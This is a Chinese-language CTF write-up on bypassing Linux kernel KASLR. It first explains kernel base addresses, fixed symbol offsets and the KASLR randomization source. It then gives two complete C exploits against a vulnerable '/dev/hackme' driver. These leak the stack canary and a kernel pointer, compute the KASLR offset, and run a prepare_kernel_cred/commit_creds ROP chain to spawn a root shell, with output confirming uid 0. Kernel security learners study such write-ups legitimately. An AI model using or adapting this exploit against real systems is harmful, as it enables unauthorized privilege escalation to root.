内核默认加载地址(不开启KASLR)
kernel text mapping
在内核linux-5.9/Documentation/x86/x86_64/mm.rst文档中记录了 x86_64虚拟地址空间布局
其中0xffffffff80000000
~0xffffffff9fffffff
用于存放内核代码段
、全局变量
、BSS
等
ffffffff80000000 | -2 GB | ffffffff9fffffff | 512 MB | kernel text mapping, mapped to physical address 0
该区域的起始地址,在内核中使用__START_KERNEL_map
宏来表示
// linux-5.9/arch/x86/include/asm/page_64_types.h
#define __START_KERNEL_map _AC(0xffffffff80000000, UL)
同时,mm.rst文档中也描述该区域会被映射到物理地址0处
__START_KERNEL宏 和 __PHYSICAL_START宏
__PHYSICAL_START宏是内核代码段在物理内存中的起始地址
__START_KERNEL宏是是内核代码段映射的起始虚拟地址
// include/generated/autoconf.h
#define CONFIG_PHYSICAL_START 0x1000000
#define CONFIG_PHYSICAL_ALIGN 0x200000
// arch/x86/include/asm/page_types.h
#define __PHYSICAL_START ALIGN(CONFIG_PHYSICAL_START, \
CONFIG_PHYSICAL_ALIGN)
#define __START_KERNEL (__START_KERNEL_map + __PHYSICAL_START)
可以看出
__PHYSICAL_START宏
的默认值是 0x1000000
__START_KERNEL宏
的默认值是 0xffffffff81000000
内核.text 和 startup_64
内核代码段起始位置存储的startup_64函数的代码
// arch/x86/kernel/head_64.S
.text
__HEAD
.code64
SYM_CODE_START_NOALIGN(startup_64)
UNWIND_HINT_EMPTY
leaq (__end_init_task - SIZEOF_PTREGS)(%rip), %rsp
call verify_cpu
leaq _text(%rip), %rdi
pushq %rsi
call __startup_64
[...]
在未开启KASLR的内核中查看函数符号的地址
/ # cat /proc/kallsyms | grep "startup_64"
ffffffff81000000 T startup_64 # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff81000030 T secondary_startup_64
ffffffff810001f0 T __startup_64
/ # cat /proc/kallsyms | grep "_text"
ffffffff81000000 T _text # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
可以看到_text
,startup_64
的地址都是0xffffffff81000000
,而startup_64
的地址又被称为内核基地址
内核符号到内核基地址的偏移
首先在当前题目
中,不开启KASLR,查看多个符号
/ # cat /proc/kallsyms | grep "startup_64"
ffffffff81000000 T startup_64 # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff81000030 T secondary_startup_64
ffffffff810001f0 T __startup_64
/ # cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff814c67f0 T prepare_kernel_cred # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred
/ # cat /proc/kallsyms | grep "commit_creds"
ffffffff814c6410 T commit_creds # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff81f87d90 r __ksymtab_commit_creds
ffffffff81fa0972 r __kstrtab_commit_creds
ffffffff81fa4d42 r __kstrtabns_commit_creds
prepare_kernel_cred
到startup_64
的偏移是 0x4c67f0
commit_creds
到startup_64
的偏移是 4c6410
还是在当前题目
中,开启KASLR,查看多个符号
/ # cat /proc/kallsyms | grep "startup_64"
ffffffff86000000 T startup_64 # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff86000030 T secondary_startup_64
ffffffff860001f0 T __startup_64
/ # cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff864c67f0 T prepare_kernel_cred # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff86f8d4fc r __ksymtab_prepare_kernel_cred
ffffffff86fa09b2 r __kstrtab_prepare_kernel_cred
ffffffff86fa4d42 r __kstrtabns_prepare_kernel_cred
/ # cat /proc/kallsyms | grep "commit_creds"
ffffffff864c6410 T commit_creds # <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
ffffffff86f87d90 r __ksymtab_commit_creds
ffffffff86fa0972 r __kstrtab_commit_creds
ffffffff86fa4d42 r __kstrtabns_commit_creds
prepare_kernel_cred
到startup_64
的偏移是 0x4c67f0
commit_creds
到startup_64
的偏移是 4c6410
可以看到无论是否开启KASLR(现在不关心FSGASLR),对于同一个内核环境,各个内核符号到内核基地址的偏移时不变的,也就是说,只要获取了任意一个符号的真实地址,就可以通过偏移量计算处所有符号的地址
KASLR 内核地址随机化流程
内核配置选项中CONFIG_RANDOMIZE_BASE,就打开了KASLR功能;当然在内核启动过程中会检查启动命令参数中是否包含nokaslr,如果存在,地址随机化功能也是关闭的
主要逻辑如下
// arch/arm64/kernel/kaslr.c
/*
* Since this function examines addresses much more numerically,
* it takes the input and output pointers as 'unsigned long'.
*/
void choose_random_location(unsigned long input,
unsigned long input_size,
unsigned long *output,
unsigned long output_size,
unsigned long *virt_addr)
{
unsigned long random_addr, min_addr;
if (cmdline_find_option_bool("nokaslr")) {
warn("KASLR disabled: 'nokaslr' on cmdline.");
return;
}
#ifdef CONFIG_X86_5LEVEL
if (__read_cr4() & X86_CR4_LA57) {
__pgtable_l5_enabled = 1;
pgdir_shift = 48;
ptrs_per_p4d = 512;
}
#endif
boot_params->hdr.loadflags |= KASLR_FLAG;
/* Prepare to add new identity pagetables on demand. */
initialize_identity_maps();
/* Record the various known unsafe memory ranges. */
mem_avoid_init(input, input_size, *output);
/*
* Low end of the randomization range should be the
* smaller of 512M or the initial kernel image
* location:
*/
min_addr = min(*output, 512UL << 20);
/* Walk available memory entries to find a random address. */
random_addr = find_random_phys_addr(min_addr, output_size);
if (!random_addr) {
warn("Physical KASLR disabled: no suitable memory region!");
} else {
/* Update the new physical address location. */
if (*output != random_addr) {
add_identity_map(random_addr, output_size);
*output = random_addr;
}
/*
* This loads the identity mapping page table.
* This should only be done if a new physical address
* is found for the kernel, otherwise we should keep
* the old page table to make it be like the "nokaslr"
* case.
*/
finalize_identity_maps();
}
/* Pick random virtual address starting from LOAD_PHYSICAL_ADDR. */
if (IS_ENABLED(CONFIG_X86_64))
random_addr = find_random_virt_addr(LOAD_PHYSICAL_ADDR, output_size);
*virt_addr = random_addr;
}
- 检查是否在命令行中设置了 “nokaslr” 参数:
- 如果在命令行中设置了 “nokaslr” 参数,则禁用 KASLR(内核地址空间布局随机化)并返回。
- 否则,继续执行后续的 KASLR 相关操作。
- 针对支持 5 级页表(CONFIG_X86_5LEVEL)的系统进行处理:
- 如果启用了 5 级页表,设置相关变量,包括 __pgtable_l5_enabled、pgdir_shift 和 ptrs_per_p4d。
- 将 KASLR_FLAG 标志添加到引导参数(boot_params->hdr.loadflags)中,表示启用 KASLR。
- 初始化身份映射(identity maps):
- 在需要时准备添加新的身份映射页表。
- 记录已知的不安全内存范围:
- 调用 mem_avoid_init 函数,传递输入内存范围和输出内存范围,用于记录已知的不安全内存范围。
- 确定随机化范围的最低地址(min_addr):
- min_addr 的值是输出地址和 512MB 中较小的一个。
- 通过遍历可用内存条目,找到一个随机的物理地址:
- 调用 find_random_phys_addr 函数,在最低地址(min_addr)和输出内存范围大小(output_size)之间查找一个随机的物理地址。
- 如果未找到适合的内存区域,则打印警告消息并禁用物理 KASLR。
- 否则,更新输出地址为找到的随机地址,并添加身份映射。
- 最终化身份映射:
- 调用 finalize_identity_maps 函数,加载新的身份映射页表。
- 选择随机的虚拟地址:
- 如果启用了 64 位(CONFIG_X86_64),调用 find_random_virt_addr 函数,在 LOAD_PHYSICAL_ADDR 和输出内存范围大小之间查找一个随机的虚拟地址。
- 将找到的随机虚拟地址赋值给 virt_addr。
通过这些步骤,choose_random_location 函数实现了 KASLR 的关键逻辑,包括选择随机的物理地址和虚拟地址,并更新对应的输出参数。
题目解
启用kaslr(内核地址随机化),但是禁用 fgkaslr
#!/bin/sh
qemu-system-x86_64 \
-m 1024M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nofgkaslr quiet panic=1"
由于该题目只是栈溢出,只能在读取栈上的内容,看看能不能读到什么特别的东西(没有特别的技巧)
多输出一些栈中的内容,观察是否有可用的点
#include <fcntl.h> // open()
#include <stdbool.h>
#include <stdint.h> // uint8_t | uint64_t
#include <stdio.h>
#include <stdlib.h> // exit()
#include <string.h>
#include <unistd.h>
char *VULN_DRV = "/dev/hackme";
int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;
void open_dev() {
global_fd = open(VULN_DRV, O_RDWR);
if (global_fd < 0) {
printf("[-] failed to open %s\n", VULN_DRV);
exit(-1);
} else {
printf("[+] successfully opened %s\n", VULN_DRV);
}
}
void leak_cookie() {
uint8_t sz = 40;
uint64_t leak[sz];
printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
uint64_t data = read(global_fd, leak, sizeof(leak));
cookie = leak[cookie_off];
for (int i = 0; i < 40; i++)
printf("[*] leaking #%d: 0x%lx\n", i, leak[i]);
printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
if(!cookie) {
puts("[-] failed to leak stack canary!");
exit(-1);
}
}
int main(int argc, char **argv) {
open_dev();
leak_cookie();
return 0;
}
发现在内核栈中,#38
处的内容与内核基地址的有着固定的差值
只要 leak[38] & 0xffffffffffff0000
的结果就能获取到开启KASLR后的内核基地址,再通过这个内核基地址加上各符号的偏移就能获取各符号的实际地址
/*
...
[*] leaking #37: 0xffffbfbb801bff48
[*] leaking #38: 0xffffffffa0e0a157
[*] leaking #39: 0x0
...
TODO 获取溢出的内容,这些内容里面可能包含函数指针,通过这些函数指针,可以计算出内核基地址
在泄露的数据中,我们可以看到索引为38的整数与内核基地址相似,如果我们将该整数的最低0xffff归零,
我们将获得内核基地址:
*/
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
char *VULN_DRV = "/dev/hackme";
void spawn_shell();
int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;
int64_t kernel_base_offset = 0;
uint64_t kernel_base = 0xffffffff81000000;
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t pop_rdi_ret = 0xffffffff81006370;
uint64_t mov_rdi_rax_clobber_rsi140_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10;
void open_dev() {
global_fd = open(VULN_DRV, O_RDWR);
if (global_fd < 0) {
printf("[!] failed to open %s\n", VULN_DRV);
exit(-1);
} else {
printf("[+] successfully opened %s\n", VULN_DRV);
}
}
void leak_cookie_and_kernel_offset() {
uint8_t sz = 40;
uint64_t leak[sz];
printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
uint64_t data = read(global_fd, leak, sizeof(leak));
cookie = leak[cookie_off];
kernel_base_offset = (leak[38] & 0xffffffffffff0000) - kernel_base;
printf("[+] got kernel base address offset: 0x%lx\n", kernel_base_offset);
printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
if(!cookie) {
puts("[-] failed to leak stack canary!");
exit(-1);
}
}
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
void overwrite_ret() {
puts("[*] trying to run ROP chain and bypass KASLR with kernel offset leak");
uint8_t sz = 35;
uint64_t payload[sz];
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rdi_ret + kernel_base_offset; // return address
payload[cookie_off++] = 0x0;
payload[cookie_off++] = prepare_kernel_cred + kernel_base_offset;
payload[cookie_off++] = mov_rdi_rax_clobber_rsi140_pop1_ret + kernel_base_offset;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = commit_creds + kernel_base_offset;
payload[cookie_off++] = swapgs_restore_regs_and_return_to_usermode + kernel_base_offset + 22;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = user_rip;
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[-] if you can read this we failed the mission :(");
}
int main(int argc, char **argv) {
open_dev();
leak_cookie_and_kernel_offset();
save_userland_state();
overwrite_ret();
return 0;
}
结果
Booting from ROM..
/ $ ./06_bypass_kaslr
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] got kernel base address offset: 0x1cc00000
[+] found stack canary: 0x5c45408670922e00 @ index 16
[*] saving user land state
[*] trying to run ROP chain and bypass KASLR with kernel offset leak
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ #
参考
https://www.anquanke.com/post/id/235482
https://fanlv.fun/2021/07/25/linux-mem/
https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#kaslr
https://blog.wohin.me/posts/linux-kernel-pwn-01/